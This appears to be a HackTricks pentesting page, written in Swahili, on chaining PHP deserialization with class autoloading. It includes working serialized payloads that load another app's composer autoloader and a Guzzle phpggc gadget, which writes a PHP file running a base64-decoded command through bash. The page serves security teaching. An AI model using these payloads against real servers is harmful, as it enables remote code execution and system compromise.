hacktricks/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

65 lines
5.4 KiB
Markdown

# PHP - Deserialization + Autoload Classes
{{#include ../../banners/hacktricks-training.md}}
Kwanza, unapaswa kuangalia ni nini [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserialization + spl_autoload_register + LFI/Gadget
Tuko katika hali ambapo tumepata **PHP deserialization katika webapp** bila **maktaba** inayoweza kuathiriwa na gadgets ndani ya **`phpggc`**. Hata hivyo, katika kontena hiyo hiyo kulikuwa na **webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa**. Kwa hivyo, lengo lilikuwa ni **kuchaji loader ya composer ya webapp nyingine** na kuitumia ili **kuchaji gadget ambayo itatumia maktaba hiyo kwa gadget** kutoka kwa webapp inayoweza kuathiriwa na deserialization.
Hatua:
- Umepata **deserialization** na **hakuna gadget** katika msimbo wa sasa wa app
- Unaweza kutumia **`spl_autoload_register`** kama ifuatavyo ili **kuchaji faili yoyote ya ndani yenye kiambishi cha `.php`**
- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini **msimbo** unabadilisha **michoro** ("\_") **kuwa slashes** ("/"). Hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulichaji.\
Mfano wa **gadget** utakuwa: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> Ikiwa una **file upload** na unaweza kupakia faili yenye **`.php` extension** unaweza **kutumia kazi hii moja kwa moja** na kupata tayari RCE.
Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa ndani ya **container hiyo hiyo** ukurasa mwingine wa mtandao wa composer wenye **maktaba iliyo hatarini kwa `phpggc` gadget**.
- Ili kupakia maktaba hii nyingine, kwanza unahitaji **kupakia loader ya composer ya hiyo programu nyingine** (kwa sababu ya ile ya programu ya sasa haitafikia maktaba za nyingine.) **Kujua njia ya programu**, unaweza kufanikisha hii kwa urahisi sana na: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Katika kesi yangu, loader ya composer ilikuwa katika `/www/frontend/vendor/autoload.php`)
- Sasa, unaweza **kupakia** loader za **program nyingine**, hivyo ni wakati wa **`kuunda phpgcc`** **payload** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**.
- KUMBUKA: **gadget iliyoundwa haikufanya kazi**, ili ifanye kazi nilifanya **mabadiliko** kwenye payload hiyo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka private hadi public**. La sivyo, baada ya deserializing string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.
- Sasa tuna njia ya **kupakia loader za programu nyingine** na kuwa na **phpggc payload inayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika**. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama:
- Unaweza kuona **kwanza loader ikipakiwa na kisha payload**
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti**. Hivyo, kama unavyoona katika payload, PHP inaita **`system`** na **base64** fulani inaundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kurudia aina ya kwanza ya payload** ambayo tulitumia kama LFI ili kupakia mzigo wa composer wa programu nyingine ya wavuti **kupakia faili iliyoundwa `/tmp/a.php`**. Ongeza tu kwenye gadget ya deserialization:
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Muhtasari wa payload**
- **Pakia autoload ya composer** ya webapp tofauti katika kontena moja
- **Pakia gadget ya phpggc** ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyo hatarini na deserialization haikuwa na gadget yoyote kwenye maktaba zake)
- Gadget hiyo itaunda **faili yenye payload ya PHP** ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote)
- Sehemu ya mwisho ya payload yetu itatumia **pakiwa faili ya php iliyozalishwa** ambayo itatekeleza amri
Nilihitaji **kuita hii deserialization mara mbili**. Katika majaribio yangu, mara ya kwanza faili ya `/tmp/a.php` ilizalishwa lakini haikupakiwa, na mara ya pili ilipakiwa vizuri.
{{#include ../../banners/hacktricks-training.md}}